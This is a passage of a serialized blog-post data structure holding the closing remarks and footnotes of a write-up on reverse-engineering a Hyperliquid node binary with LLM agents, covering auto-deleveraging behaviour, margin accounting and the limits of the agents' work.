next?",{"type":24,"tag":25,"props":167228,"children":167229},{},[167230],{"type":29,"value":167231},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":166902,"props":167233,"children":167234},{"url":160862},[],{"type":24,"tag":25,"props":167236,"children":167237},{},[167238],{"type":29,"value":167239},"The analyzed binary can be found here:",{"type":24,"tag":161182,"props":167241,"children":167244},{"path":167242,"name":160786,"size":167243},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":1019,"props":167246,"children":167248},{"id":167247},"closing-words",[167249],{"type":29,"value":167250},"Closing Words",{"type":24,"tag":25,"props":167252,"children":167253},{},[167254],{"type":29,"value":167255},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":167257,"children":167258},{},[167259,167261,167266],{"type":29,"value":167260},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":842,"props":167262,"children":167263},{},[167264],{"type":29,"value":167265},"manual",{"type":29,"value":167267}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":167269,"children":167270},{},[167271],{"type":29,"value":167272},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":167274,"children":167275},{},[167276],{"type":29,"value":167277},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":167279,"props":167280,"children":167281},"report-footnotes",{},[167282],{"type":24,"tag":3100,"props":167283,"children":167284},{},[167285,167290,167317,167322,167327],{"type":24,"tag":3104,"props":167286,"children":167287},{},[167288],{"type":29,"value":167289},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":3104,"props":167291,"children":167292},{},[167293,167299,167301,167307,167309,167315],{"type":24,"tag":32,"props":167294,"children":167296},{"className":167295},[],[167297],{"type":29,"value":167298},"compute_user_margin_and_shortfall",{"type":29,"value":167300}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":32,"props":167302,"children":167304},{"className":167303},[],[167305],{"type":29,"value":167306},"0x748",{"type":29,"value":167308}," in the abstract expressions of ",{"type":24,"tag":32,"props":167310,"children":167312},{"className":167311},[],[167313],{"type":29,"value":167314},"btree_cursor",{"type":29,"value":167316},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":3104,"props":167318,"children":167319},{},[167320],{"type":29,"value":167321},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":3104,"props":167323,"children":167324},{},[167325],{"type":29,"value":167326},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":3104,"props":167328,"children":167329},{},[167330,167332,167338],{"type":29,"value":167331},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":24,"tag":32,"props":167333,"children":167335},{"className":167334},[],[167336],{"type":29,"value":167337},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":226},{"title":7,"searchDepth":200,"depth":200,"links":167340},[167341,167342,167343,167344,167345,167348,167349,167350,167353,167354,167357,167361],{"id":160732,"depth":200,"text":160735},{"id":160725,"depth":200,"text":160753},{"id":160810,"depth":200,"text":160813},{"id":161091,"depth":200,"text":161094},{"id":161125,"depth":200,"text":161128,"children":167346},[167347],{"id":161264,"depth":239,"text":161267},{"id":162043,"depth":200,"text":162046},{"id":162139,"depth":200,"text":162142},{"id":162357,"depth":200,"text":162360,"children":167351},[167352],{"id":162602,"depth":239,"text":162605},{"id":162662,"depth":200,"text":162665},{"id":167028,"depth":200,"text":167031,"children":167355},[167356],{"id":167060,"depth":239,"text":167063},{"id":167119,"depth":200,"text":167122,"children":167358},[167359,167360],{"id":167125,"depth":239,"text":167128},{"id":167144,"depth":239,"text":162699},{"id":167174,"depth":200,"text":167177,"children":167362},[167363,167364,167365,167366],{"id":167185,"depth":239,"text":167188},{"id":167207,"depth":239,"text":167210},{"id":167223,"depth":239,"text":167226},{"id":167247,"depth":239,"text":167250},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630600]